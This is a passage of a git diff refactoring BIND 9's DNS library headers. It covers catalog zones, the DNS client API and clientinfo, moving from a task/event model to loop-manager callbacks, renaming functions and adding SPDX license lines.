@@ -40,18 +41,12 @@ struct dns_rdatacallbacks {
 	 */
 	dns_addrdatasetfunc_t add;
 
-	/*%
-	 * This is called when reading in a database image from a 'map'
-	 * format zone file.
-	 */
-	dns_deserializefunc_t deserialize;
-
 	/*%
 	 * dns_master_load*() call this when loading a raw zonefile,
 	 * to pass back information obtained from the file header
 	 */
 	dns_rawdatafunc_t rawdata;
-	dns_zone_t *	  zone;
+	dns_zone_t	 *zone;
 
 	/*%
 	 * dns_load_master / dns_rdata_fromtext call this to issue a error.
@@ -65,7 +60,6 @@ struct dns_rdatacallbacks {
 	 * Private data handles for use by the above callback functions.
 	 */
 	void *add_private;
-	void *deserialize_private;
 	void *error_private;
 	void *warn_private;
 };
@@ -97,5 +91,3 @@ dns_rdatacallbacks_init_stdio(dns_rdatacallbacks_t *callbacks);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_CALLBACKS_H */
diff --git a/lib/dns/include/dns/catz.h b/lib/dns/include/dns/catz.h
index 1d693d4f79..2d7f3e44fc 100644
--- a/lib/dns/include/dns/catz.h
+++ b/lib/dns/include/dns/catz.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,12 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CATZ_H
-#define DNS_CATZ_H 1
+#pragma once
+
+/*
+ * Define this for reference count tracing in the unit
+ */
+#undef DNS_CATZ_TRACE
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -48,7 +54,7 @@ struct dns_catz_entry_options {
 	/*
 	 * Options that can be overridden in catalog zone
 	 */
-	/* default-masters definition */
+	/* default-masters/default-primaries definition */
 	dns_ipkeylist_t masters;
 
 	/* both as text in config format, NULL if none */
@@ -90,7 +96,7 @@ dns_catz_options_free(dns_catz_options_t *options, isc_mem_t *mctx);
  * \li	'mctx' to be a valid memory context.
  */
 
-isc_result_t
+void
 dns_catz_options_copy(isc_mem_t *mctx, const dns_catz_options_t *opts,
 		      dns_catz_options_t *nopts);
 /*%<
@@ -102,7 +108,7 @@ dns_catz_options_copy(isc_mem_t *mctx, const dns_catz_options_t *opts,
  * \li	'nopts' to be non NULL.
  */
 
-isc_result_t
+void
 dns_catz_options_setdefault(isc_mem_t *mctx, const dns_catz_options_t *defaults,
 			    dns_catz_options_t *opts);
 /*%<
@@ -126,32 +132,28 @@ dns_catz_entry_getname(dns_catz_entry_t *entry);
  * \li	domain name for entry.
  */
 
-isc_result_t
-dns_catz_entry_new(isc_mem_t *mctx, const dns_name_t *domain,
-		   dns_catz_entry_t **nentryp);
+dns_catz_entry_t *
+dns_catz_entry_new(isc_mem_t *mctx, const dns_name_t *domain);
 /*%<
  * Allocate a new catz_entry on 'mctx', with the name 'domain'
  *
  * Requires:
  * \li	'mctx' to be a valid memory context.
  * \li	'domain' to be valid dns_name or NULL.
- * \li	'nentryp' to be non NULL, *nentryp to be NULL.
  *
  * Returns:
  * \li	ISC_R_SUCCESS on success
  * \li	ISC_R_NOMEMORY on allocation failure
  */
 
-isc_result_t
-dns_catz_entry_copy(dns_catz_zone_t *zone, const dns_catz_entry_t *entry,
-		    dns_catz_entry_t **nentryp);
+dns_catz_entry_t *
+dns_catz_entry_copy(dns_catz_zone_t *catz, const dns_catz_entry_t *entry);
 /*%<
  * Allocate a new catz_entry and deep copy 'entry' into 'nentryp'.
  *
  * Requires:
  * \li	'mctx' to be a valid memory context.
  * \li	'entry' to be non NULL.
- * \li	'nentryp' to be non NULL, *nentryp to be NULL.
  *
  * Returns:
  * \li	ISC_R_SUCCESS on success
@@ -169,12 +171,12 @@ dns_catz_entry_attach(dns_catz_entry_t *entry, dns_catz_entry_t **entryp);
  */
 
 void
-dns_catz_entry_detach(dns_catz_zone_t *zone, dns_catz_entry_t **entryp);
+dns_catz_entry_detach(dns_catz_zone_t *catz, dns_catz_entry_t **entryp);
 /*%<
  * Detach an entry, free if no further references
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
+ * \li	'catz' is a valid dns_catz_zone_t.
  * \li	'entryp' is not NULL and '*entryp' is not NULL.
  */
 
@@ -202,94 +204,48 @@ dns_catz_entry_cmp(const dns_catz_entry_t *ea, const dns_catz_entry_t *eb);
  * \li 'false' if the entries differ.
  */
 
-void
-dns_catz_zone_attach(dns_catz_zone_t *zone, dns_catz_zone_t **zonep);
-/*%<
- * Attach a catzone
- *
- * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
- * \li	'zonep' is not NULL and '*zonep' is NULL.
- */
-
-void
-dns_catz_zone_detach(dns_catz_zone_t **zonep);
-/*%<
- * Detach a zone, free if no further references
- *
- * Requires:
- * \li	'zonep' is not NULL and '*zonep' is not NULL.
- */
-
-isc_result_t
-dns_catz_new_zone(dns_catz_zones_t *catzs, dns_catz_zone_t **zonep,
-		  const dns_name_t *name);
+dns_catz_zone_t *
+dns_catz_zone_new(dns_catz_zones_t *catzs, const dns_name_t *name);
 /*%<
  * Allocate a new catz zone on catzs mctx
  *
  * Requires:
  * \li	'catzs' is a valid dns_catz_zones_t.
- * \li	'zonep' is not NULL and '*zonep' is NULL.
+ * \li	'catzp' is not NULL and '*catzp' is NULL.
  * \li	'name' is a valid dns_name_t.
  *
  */
 
 dns_name_t *
-dns_catz_zone_getname(dns_catz_zone_t *zone);
+dns_catz_zone_getname(dns_catz_zone_t *catz);
 /*%<
  * Get catalog zone name
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
+ * \li	'catz' is a valid dns_catz_zone_t.
  */
 
 dns_catz_options_t *
-dns_catz_zone_getdefoptions(dns_catz_zone_t *zone);
+dns_catz_zone_getdefoptions(dns_catz_zone_t *catz);
 /*%<
- * Get default member zone options for catalog zone 'zone'
+ * Get default member zone options for catalog zone 'catz'
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
+ * \li	'catz' is a valid dns_catz_zone_t.
  */
 
 void
-dns_catz_zone_resetdefoptions(dns_catz_zone_t *zone);
+dns_catz_zone_resetdefoptions(dns_catz_zone_t *catz);
 /*%<
- * Reset the default member zone options for catalog zone 'zone' to
+ * Reset the default member zone options for catalog zone 'catz' to
  * the default values.
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
- */
-
-isc_result_t
-dns_catz_zones_merge(dns_catz_zone_t *target, dns_catz_zone_t *newzone);
-/*%<
- * Merge 'newzone' into 'target', calling addzone/delzone/modzone
- * (from zone->catzs->zmm) for appropriate member zones.
- *
- * Requires:
- * \li	'orig' is a valid dns_catz_zone_t.
- * \li	'newzone' is not NULL and '*newzone' is not NULL.
- *
+ * \li	'catz' is a valid dns_catz_zone_t.
  */
 
 isc_result_t
-dns_catz_update_process(dns_catz_zones_t *catzs, dns_catz_zone_t *zone,
-			const dns_name_t *src_name, dns_rdataset_t *rdataset);
-/*%<
- * Process a single rdataset from a catalog zone 'zone' update, src_name is the
- * record name.
- *
- * Requires:
- * \li	'catzs' is a valid dns_catz_zones_t.
- * \li	'zone' is a valid dns_catz_zone_t.
- * \li	'src_name' is a valid dns_name_t.
- * \li	'rdataset' is valid rdataset.
- */
-
-isc_result_t
-dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
+dns_catz_generate_masterfilename(dns_catz_zone_t *catz, dns_catz_entry_t *entry,
 				 isc_buffer_t **buffer);
 /*%<
  * Generate master file name and put it into *buffer (might be reallocated).
@@ -299,20 +255,20 @@ dns_catz_generate_masterfilename(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
  * __catz__unique_hash_generated_from_the_above.db
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
+ * \li	'catz' is a valid dns_catz_zone_t.
  * \li	'entry' is a valid dns_catz_entry_t.
  * \li	'buffer' is not NULL and '*buffer' is not NULL.
  */
 
 isc_result_t
-dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
+dns_catz_generate_zonecfg(dns_catz_zone_t *catz, dns_catz_entry_t *entry,
 			  isc_buffer_t **buf);
 /*%<
  * Generate a zone config entry (in text form) from dns_catz_entry and puts
  * it into *buf. buf might be reallocated.
  *
  * Requires:
- * \li	'zone' is a valid dns_catz_zone_t.
+ * \li	'catz' is a valid dns_catz_zone_t.
  * \li	'entry' is a valid dns_catz_entry_t.
  * \li	'buf' is not NULL and '*buf' is NULL.
  *
@@ -321,33 +277,32 @@ dns_catz_generate_zonecfg(dns_catz_zone_t *zone, dns_catz_entry_t *entry,
 /* Methods provided by named to dynamically modify the member zones */
 /* xxxwpk TODO config! */
 typedef isc_result_t (*dns_catz_zoneop_fn_t)(dns_catz_entry_t *entry,
-					     dns_catz_zone_t * origin,
-					     dns_view_t *      view,
-					     isc_taskmgr_t *   taskmgr,
-					     void *	       udata);
+					     dns_catz_zone_t  *origin,
+					     dns_view_t *view, void *udata);
 struct dns_catz_zonemodmethods {
 	dns_catz_zoneop_fn_t addzone;
 	dns_catz_zoneop_fn_t modzone;
 	dns_catz_zoneop_fn_t delzone;
-	void *		     udata;
+	void		    *udata;
 };
 
-isc_result_t
-dns_catz_new_zones(dns_catz_zones_t **catzsp, dns_catz_zonemodmethods_t *zmm,
-		   isc_mem_t *mctx, isc_taskmgr_t *taskmgr,
-		   isc_timermgr_t *timermgr);
+dns_catz_zones_t *
+dns_catz_zones_new(isc_mem_t *mctx, isc_loopmgr_t *loopmgr,
+		   dns_catz_zonemodmethods_t *zmm);
 /*%<
  * Allocate a new catz_zones object, a collection storing all catalog zones
  * for a view.
  *
  * Requires:
+ * \li 'mctx' is not NULL.
+ * \li 'loopmgr' is not NULL.
  * \li 'catzsp' is not NULL and '*catzsp' is NULL.
  * \li 'zmm' is not NULL.
  *
  */
 
 isc_result_t
-dns_catz_add_zone(dns_catz_zones_t *catzs, const dns_name_t *name,
+dns_catz_zone_add(dns_catz_zones_t *catzs, const dns_name_t *name,
 		  dns_catz_zone_t **catzp);
 /*%<
  * Allocate a new catz named 'name' and put it in 'catzs' collection.
@@ -355,12 +310,12 @@ dns_catz_add_zone(dns_catz_zones_t *catzs, const dns_name_t *name,
  * Requires:
  * \li	'catzs' is a valid dns_catz_zones_t.
  * \li	'name' is a valid dns_name_t.
- * \li	'zonep' is not NULL and *zonep is NULL.
+ * \li	'catzp' is not NULL and *catzp is NULL.
  *
  */
 
 dns_catz_zone_t *
-dns_catz_get_zone(dns_catz_zones_t *catzs, const dns_name_t *name);
+dns_catz_zone_get(dns_catz_zones_t *catzs, const dns_name_t *name);
 /*%<
  * Returns a zone named 'name' from collection 'catzs'
  *
@@ -369,25 +324,6 @@ dns_catz_get_zone(dns_catz_zones_t *catzs, const dns_name_t *name);
  * \li	'name' is a valid dns_name_t.
  */
 
-void
-dns_catz_catzs_attach(dns_catz_zones_t *catzs, dns_catz_zones_t **catzsp);
-/*%<
- * Attach 'catzs' to 'catzsp'.
- *
- * Requires:
- * \li	'catzs' is a valid dns_catz_zones_t.
- * \li	'catzsp' is not NULL and *catzsp is NULL.
- */
-
-void
-dns_catz_catzs_detach(dns_catz_zones_t **catzsp);
-/*%<
- * Detach 'catzsp', free if no further references.
- *
- * Requires:
- * \li	'catzsp' is not NULL and *catzsp is not NULL.
- */
-
 void
 dns_catz_catzs_set_view(dns_catz_zones_t *catzs, dns_view_t *view);
 /*%<
@@ -403,8 +339,8 @@ dns_catz_dbupdate_callback(dns_db_t *db, void *fn_arg);
 /*%<
  * Callback for update of catalog zone database.
  * If there was no catalog zone update recently it launches an
- * update_taskaction immediately.
- * If there was an update recently it schedules update_taskaction for some time
+ * update action immediately.
+ * If there was an update recently it schedules update for some time
  * in the future.
  * If there is an update scheduled it replaces old db version with a new one.
  *
@@ -414,25 +350,23 @@ dns_catz_dbupdate_callback(dns_db_t *db, void *fn_arg);
  */
 
 void
-dns_catz_update_taskaction(isc_task_t *task, isc_event_t *event);
+dns_catz_dbupdate_register(dns_db_t *db, dns_catz_zones_t *catzs);
 /*%<
- * Task that launches dns_catz_update_from_db.
+ * Register the catalog zone database update notify callback.
  *
  * Requires:
- * \li	'event' is not NULL.
+ * \li	'db' is a valid database.
+ * \li	'catzs' is valid.
  */
 
 void
-dns_catz_update_from_db(dns_db_t *db, dns_catz_zones_t *catzs);
+dns_catz_dbupdate_unregister(dns_db_t *db, dns_catz_zones_t *catzs);
 /*%<
- * Process an updated database for a catalog zone.
- * It creates a new catz, iterates over database to fill it with content, and
- * then merges new catz into old catz.
+ * Unregister the catalog zone database update notify callback.
  *
  * Requires:
- * \li	'db' is a valid DB.
- * \li	'catzs' is a valid dns_catz_zones_t.
- *
+ * \li	'db' is a valid database.
+ * \li	'catzs' is valid.
  */
 
 void
@@ -455,20 +389,55 @@ dns_catz_postreconfig(dns_catz_zones_t *catzs);
  * \li	'catzs' is a valid dns_catz_zones_t.
  */
 
-isc_result_t
-dns_catz_get_iterator(dns_catz_zone_t *catz, isc_ht_iter_t **itp);
+void
+dns_catz_zones_shutdown(dns_catz_zones_t *catzs);
 /*%<
- * Get the hashtable iterator on catalog zone members, point '*itp' to it.
+ * Shut down the catalog zones.
  *
  * Requires:
  * \li	'catzs' is a valid dns_catz_zones_t.
- * \li	'itp' is not NULL and '*itp' is NULL.
  *
- * Returns:
- * \li #ISC_R_SUCCESS		-- success
- * \li Any other value		-- failure
  */
 
-ISC_LANG_ENDDECLS
+typedef void (*dns_catz_entry_cb2)(dns_catz_entry_t *entry, void *arg1,
+				   void *arg2);
 
-#endif /* DNS_CATZ_H_ */
+void
+dns_catz_zone_for_each_entry2(dns_catz_zone_t *catz, dns_catz_entry_cb2 cb,
+			      void *arg1, void *arg2);
+/*%<
+ * Iterate on the catalog zone members, call 'cb' on each 'entry'.
+ *
+ * Requires:
+ * \li	'catz' is a valid dns_catz_zones_t.
+ *
+ */
+
+#ifdef DNS_CATZ_TRACE
+/* Compatibility macros */
+#define dns_catz_zone_attach(catz, catzp) \
+	dns_catz_zone__attach(catz, catzp, __func__, __FILE__, __LINE__)
+#define dns_catz_zone_detach(catzp) \
+	dns_catz_zone__detach(catzp, __func__, __FILE__, __LINE__)
+#define dns_catz_zone_ref(ptr) \
+	dns_catz_zone__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_catz_zone_unref(ptr) \
+	dns_catz_zone__unref(ptr, __func__, __FILE__, __LINE__)
+
+#define dns_catz_zones_attach(catzs, catzsp) \
+	dns_catz_zones__attach(catzs, catzsp, __func__, __FILE__, __LINE__)
+#define dns_catz_zones_detach(catzsp) \
+	dns_catz_zones__detach(catzsp, __func__, __FILE__, __LINE__)
+#define dns_catz_zones_ref(ptr) \
+	dns_catz_zones__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_catz_zones_unref(ptr) \
+	dns_catz_zones__unref(ptr, __func__, __FILE__, __LINE__)
+
+ISC_REFCOUNT_TRACE_DECL(dns_catz_zone);
+ISC_REFCOUNT_TRACE_DECL(dns_catz_zones);
+#else
+ISC_REFCOUNT_DECL(dns_catz_zone);
+ISC_REFCOUNT_DECL(dns_catz_zones);
+#endif /* DNS_CATZ_TRACE */
+
+ISC_LANG_ENDDECLS
diff --git a/lib/dns/include/dns/cert.h b/lib/dns/include/dns/cert.h
index 588ee47297..c1a0a503ee 100644
--- a/lib/dns/include/dns/cert.h
+++ b/lib/dns/include/dns/cert.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CERT_H
-#define DNS_CERT_H 1
+#pragma once
 
 /*! \file dns/cert.h */
 
@@ -57,5 +58,3 @@ dns_cert_totext(dns_cert_t cert, isc_buffer_t *target);
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_CERT_H */
diff --git a/lib/dns/include/dns/client.h b/lib/dns/include/dns/client.h
index 79fb13b5a1..f5aef0a4a6 100644
--- a/lib/dns/include/dns/client.h
+++ b/lib/dns/include/dns/client.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CLIENT_H
-#define DNS_CLIENT_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -38,23 +39,15 @@
  *	security issue specific to this module is anticipated.
  */
 
-#include <isc/event.h>
+#include <isc/loop.h>
 #include <isc/sockaddr.h>
+#include <isc/tls.h>
 
 #include <dns/tsig.h>
 #include <dns/types.h>
 
 #include <dst/dst.h>
 
-typedef enum {
-	updateop_none = 0,
-	updateop_add = 1,
-	updateop_delete = 2,
-	updateop_exist = 3,
-	updateop_notexist = 4,
-	updateop_max = 5
-} dns_client_updateop_t;
-
 ISC_LANG_BEGINDECLS
 
 /***
@@ -75,62 +68,38 @@ ISC_LANG_BEGINDECLS
 /*%< Use TCP transport. */
 #define DNS_CLIENTRESOPT_TCP 0x10
 
-/*%
- * Optional flags for dns_client_(start)request.
- */
-/*%< Allow running external context. */
-#define DNS_CLIENTREQOPT_RESERVED 0x01
-/*%< Use TCP transport. */
-#define DNS_CLIENTREQOPT_TCP 0x02
-
-/*%
- * Optional flags for dns_client_(start)update.
- */
-/*%< Allow running external context. */
-#define DNS_CLIENTUPDOPT_RESERVED 0x01
-/*%< Use TCP transport. */
-#define DNS_CLIENTUPDOPT_TCP 0x02
-
 /*%
  * View name used in dns_client.
  */
 #define DNS_CLIENTVIEW_NAME "_dnsclient"
 
 /*%
- * A dns_clientresevent_t is sent when name resolution performed by a client
- * completes.  'result' stores the result code of the entire resolution
+ * A dns_clientresume_t holds state for resolution performed by a client,
+ * and is sent to the callback when the resolution completes.
+ * 'result' stores the result code of the entire resolution
  * procedure.  'vresult' specifically stores the result code of DNSSEC
  * validation if it is performed.  When name resolution successfully completes,
  * 'answerlist' is typically non empty, containing answer names along with
- * RRsets.  It is the receiver's responsibility to free this list by calling
- * dns_client_freeresanswer() before freeing the event structure.
+ * RRsets. 'cb' is the callback function and 'arg' is the callback argument
+ * that was specified by the caller.
+ *
+ * It is the receiver's responsibility to free 'answerlist' by
+ * calling dns_client_freeresanswer(), and to free the dns_clientresume
+ * structure itself.
  */
-typedef struct dns_clientresevent {
-	ISC_EVENT_COMMON(struct dns_clientresevent);
+typedef struct dns_clientresume {
+	isc_mem_t     *mctx;
 	isc_result_t   result;
 	isc_result_t   vresult;
 	dns_namelist_t answerlist;
-} dns_clientresevent_t; /* too long? */
-
-/*%
- * A dns_clientreqevent_t is sent when a DNS request is completed by a client.
- * 'result' stores the result code of the entire transaction.
- * If the transaction is successfully completed but the response packet cannot
- * be parsed, 'result' will store the result code of dns_message_parse().
- * If the response packet is received, 'rmessage' will contain the response
- * message, whether it is successfully parsed or not.
- */
-typedef struct dns_clientreqevent {
-	ISC_EVENT_COMMON(struct dns_clientreqevent);
-	isc_result_t   result;
-	dns_message_t *rmessage;
-} dns_clientreqevent_t; /* too long? */
+	isc_job_cb     cb;
+	void	      *arg;
+} dns_clientresume_t; /* too long? */
 
 isc_result_t
-dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
-		  isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-		  unsigned int options, dns_client_t **clientp,
-		  const isc_sockaddr_t *localaddr4,
+dns_client_create(isc_mem_t *mctx, isc_loopmgr_t *loopmgr, isc_nm_t *nm,
+		  unsigned int options, isc_tlsctx_cache_t *tlsctx_client_cache,
+		  dns_client_t **clientp, const isc_sockaddr_t *localaddr4,
 		  const isc_sockaddr_t *localaddr6);
 /*%<
  * Create a DNS client object with minimal internal resources, such as
@@ -148,13 +117,11 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
  *
  *\li	'mctx' is a valid memory context.
  *
- *\li	'actx' is a valid application context.
- *
- *\li	'taskmgr' is a valid task manager.
- *
- *\li	'socketmgr' is a valid socket manager.
+ *\li	'loopmgr' is a valid loop manager.
+
+ *\li	'nm' is a valid network manager.
  *
- *\li	'timermgr' is a valid timer manager.
+ *\li	'tlsctx_client_cache' is a valid TLS context cache.
  *
  *\li	clientp != NULL && *clientp == NULL.
  *
@@ -166,9 +133,9 @@ dns_client_create(isc_mem_t *mctx, isc_appctx_t *actx, isc_taskmgr_t *taskmgr,
  */
 
 void
-dns_client_destroy(dns_client_t **clientp);
+dns_client_detach(dns_client_t **clientp);
 /*%<
- * Destroy 'client'.
+ * Detach 'client' and destroy it if there are no more references.
  *
  * Requires:
  *
@@ -207,37 +174,21 @@ dns_client_setservers(dns_client_t *client, dns_rdataclass_t rdclass,
  *\li	Anything else				Failure.
  */
 
-isc_result_t
-dns_client_clearservers(dns_client_t *client, dns_rdataclass_t rdclass,
-			const dns_name_t *name_space);
-/*%<
- * Remove configured recursive name servers for the 'rdclass' and 'name_space'
- * from the client.  See the description of dns_client_setservers() for
- * the requirements about 'rdclass' and 'name_space'.
- *
- * Requires:
- *
- *\li	'client' is a valid client.
- *
- *\li	'name_space' is NULL or a valid name.
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS				On success.
- *
- *\li	Anything else				Failure.
- */
+typedef void (*dns_client_resolve_cb)(dns_client_t     *client,
+				      const dns_name_t *name,
+				      dns_namelist_t   *namelist,
+				      isc_result_t	result);
 
 isc_result_t
 dns_client_resolve(dns_client_t *client, const dns_name_t *name,
 		   dns_rdataclass_t rdclass, dns_rdatatype_t type,
-		   unsigned int options, dns_namelist_t *namelist);
+		   unsigned int options, dns_namelist_t *namelist,
+		   dns_client_resolve_cb resolve_cb);
 
 isc_result_t
 dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
 			dns_rdataclass_t rdclass, dns_rdatatype_t type,
-			unsigned int options, isc_task_t *task,
-			isc_taskaction_t action, void *arg,
+			unsigned int options, isc_job_cb cb, void *arg,
 			dns_clientrestrans_t **transp);
 /*%<
  * Perform name resolution for 'name', 'rdclass', and 'type'.
@@ -265,11 +216,11 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
  * created via dns_client_create() and has external managers and contexts.
  *
  * dns_client_startresolve() is an asynchronous version of dns_client_resolve()
- * and does not block.  When name resolution is completed, 'action' will be
- * called with the argument of a 'dns_clientresevent_t' object, which contains
- * the resulting list of answer names (on success).  On return, '*transp' is
- * set to an opaque transaction ID so that the caller can cancel this
- * resolution process.
+ * and does not block.  When name resolution is completed, 'cb' will be
+ * called with the argument of a 'dns_clientresume_t' object, which contains
+ * the resulting list of answer names (on success), and a also contains
+ * a pointer to 'arg'.  On return, '*transp' is set to an opaque transaction
+ * ID so that the caller can cancel this resolution process.
  *
  * Requires:
  *
@@ -281,8 +232,6 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
  *
  *\li	'namelist' != NULL and is not empty.
  *
- *\li	'task' is a valid task.
- *
  *\li	'transp' != NULL && *transp == NULL;
  *
  * Returns:
@@ -292,39 +241,6 @@ dns_client_startresolve(dns_client_t *client, const dns_name_t *name,
  *\li	Anything else				Failure.
  */
 
-void
-dns_client_cancelresolve(dns_clientrestrans_t *trans);
-/*%<
- * Cancel an ongoing resolution procedure started via
- * dns_client_startresolve().
- *
- * Notes:
- *
- *\li	If the resolution procedure has not completed, post its CLIENTRESDONE
- *	event with a result code of #ISC_R_CANCELED.
- *
- * Requires:
- *
- *\li	'trans' is a valid transaction ID.
- */
-
-void
-dns_client_destroyrestrans(dns_clientrestrans_t **transp);
-/*%<
- * Destroy name resolution transaction state identified by '*transp'.
- *
- * Requires:
- *
- *\li	'*transp' is a valid transaction ID.
- *
- *\li	The caller has received the CLIENTRESDONE event (either because the
- *	resolution completed or because dns_client_cancelresolve() was called).
- *
- * Ensures:
- *
- *\li	*transp == NULL.
- */
-
 void
 dns_client_freeresanswer(dns_client_t *client, dns_namelist_t *namelist);
 /*%<
@@ -342,10 +258,11 @@ dns_client_addtrustedkey(dns_client_t *client, dns_rdataclass_t rdclass,
 			 dns_rdatatype_t rdtype, const dns_name_t *keyname,
 			 isc_buffer_t *keydatabuf);
 /*%<
- * Add a DNSSEC trusted key for the 'rdclass' class.  A view for the 'rdclass'
- * class must be created beforehand.  'rdtype' is the type of the RR data
- * for the key, either DNSKEY or DS.  'keyname' is the DNS name of the key,
- * and 'keydatabuf' stores the RR data.
+ * Add a DNSSEC trusted key for the 'rdclass' class (only class 'IN' is
+ * currently supported).  A view for the 'rdclass' class must be created
+ * beforehand.  'rdtype' is the type of the RR data for the key, either
+ * DNSKEY or DS.  'keyname' is the DNS name of the key, and 'keydatabuf'
+ * stores the RR data.
  *
  * Requires:
  *
@@ -362,107 +279,4 @@ dns_client_addtrustedkey(dns_client_t *client, dns_rdataclass_t rdclass,
  *\li	Anything else				Failure.
  */
 
-isc_result_t
-dns_client_request(dns_client_t *client, dns_message_t *qmessage,
-		   dns_message_t *rmessage, const isc_sockaddr_t *server,
-		   unsigned int options, unsigned int parseoptions,
-		   dns_tsec_t *tsec, unsigned int timeout,
-		   unsigned int udptimeout, unsigned int udpretries);
-
-isc_result_t
-dns_client_startrequest(dns_client_t *client, dns_message_t *qmessage,
-			dns_message_t *rmessage, const isc_sockaddr_t *server,
-			unsigned int options, unsigned int parseoptions,
-			dns_tsec_t *tsec, unsigned int timeout,
-			unsigned int udptimeout, unsigned int udpretries,
-			isc_task_t *task, isc_taskaction_t action, void *arg,
-			dns_clientreqtrans_t **transp);
-
-/*%<
- * Send a DNS request containing a query message 'query' to 'server'.
- *
- * 'parseoptions' will be used when the response packet is parsed, and will be
- * passed to dns_message_parse() via dns_request_getresponse().  See
- * dns_message_parse() for more details.
- *
- * 'tsec' is a transaction security object containing, e.g. a TSIG key for
- * authenticating the request/response transaction.  This is optional and can
- * be NULL, in which case this library performs the transaction  without any
- * transaction authentication.
- *
- * 'timeout', 'udptimeout', and 'udpretries' are passed to
- * dns_request_createvia3().  See dns_request_createvia3() for more details.
- *
- * dns_client_request() provides a synchronous service.  This function sends
- * the request and blocks until a response is received.  On success,
- * 'rmessage' will contain the response message.  The caller must provide a
- * valid initialized message.
- *
- * It is expected that the client object passed to dns_client_request() was
- * created via dns_client_create() and has external managers and contexts.
- *
- * dns_client_startrequest() is an asynchronous version of dns_client_request()
- * and does not block.  When the transaction is completed, 'action' will be
- * called with the argument of a 'dns_clientreqevent_t' object, which contains
- * the response message (on success).  On return, '*transp' is set to an opaque
- * transaction ID so that the caller can cancel this request.
- *
- * DNS_CLIENTREQOPT_TCP switches to the TCP (vs. UDP) transport.
- *
- * Requires:
- *
- *\li	'client' is a valid client.
- *
- *\li	'qmessage' and 'rmessage' are valid initialized message.
- *
- *\li	'server' is a valid socket address structure.
- *
- *\li	'task' is a valid task.
- *
- *\li	'transp' != NULL && *transp == NULL;
- *
- * Returns:
- *
- *\li	#ISC_R_SUCCESS				On success.
- *
- *\li	Anything else				Failure.
- *
- *\li	Any result that dns_message_parse() can return.
- */
-
-void
-dns_client_cancelrequest(dns_clientreqtrans_t *transp);
-/*%<
- * Cancel an ongoing DNS request procedure started via
- * dns_client_startrequest().
- *
- * Notes:
- *
- *\li	If the request procedure has not completed, post its CLIENTREQDONE
- *	event with a result code of #ISC_R_CANCELED.
- *
- * Requires:
- *
- *\li	'trans' is a valid transaction ID.
- */
-
-void
-dns_client_destroyreqtrans(dns_clientreqtrans_t **transp);
-/*%
- * Destroy DNS request transaction state identified by '*transp'.
- *
- * Requires:
- *
- *\li	'*transp' is a valid transaction ID.
- *
- *\li	The caller has received the CLIENTREQDONE event (either because the
- *	request completed or because dns_client_cancelrequest() was called).
- *
- * Ensures:
- *
- *\li	*transp == NULL.
- */
-
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_CLIENT_H */
diff --git a/lib/dns/include/dns/clientinfo.h b/lib/dns/include/dns/clientinfo.h
index fd72d9453d..b6dd601a84 100644
--- a/lib/dns/include/dns/clientinfo.h
+++ b/lib/dns/include/dns/clientinfo.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_CLIENTINFO_H
-#define DNS_CLIENTINFO_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -41,25 +42,36 @@
 #include <isc/sockaddr.h>
 #include <isc/types.h>
 
+#include <dns/ecs.h>
+
 ISC_LANG_BEGINDECLS
 
 /*****
 ***** Types
 *****/
 
-#define DNS_CLIENTINFO_VERSION 2
+#define DNS_CLIENTINFO_VERSION 3
+/*
+ * Any updates to this structure should also be applied in
+ * contrib/modules/dlz/dlz_minmal.h.
+ */
 typedef struct dns_clientinfo {
-	uint16_t version;
-	void *	 data;
-	void *	 dbversion;
+	uint16_t  version;
+	void	 *data;
+	void	 *dbversion;
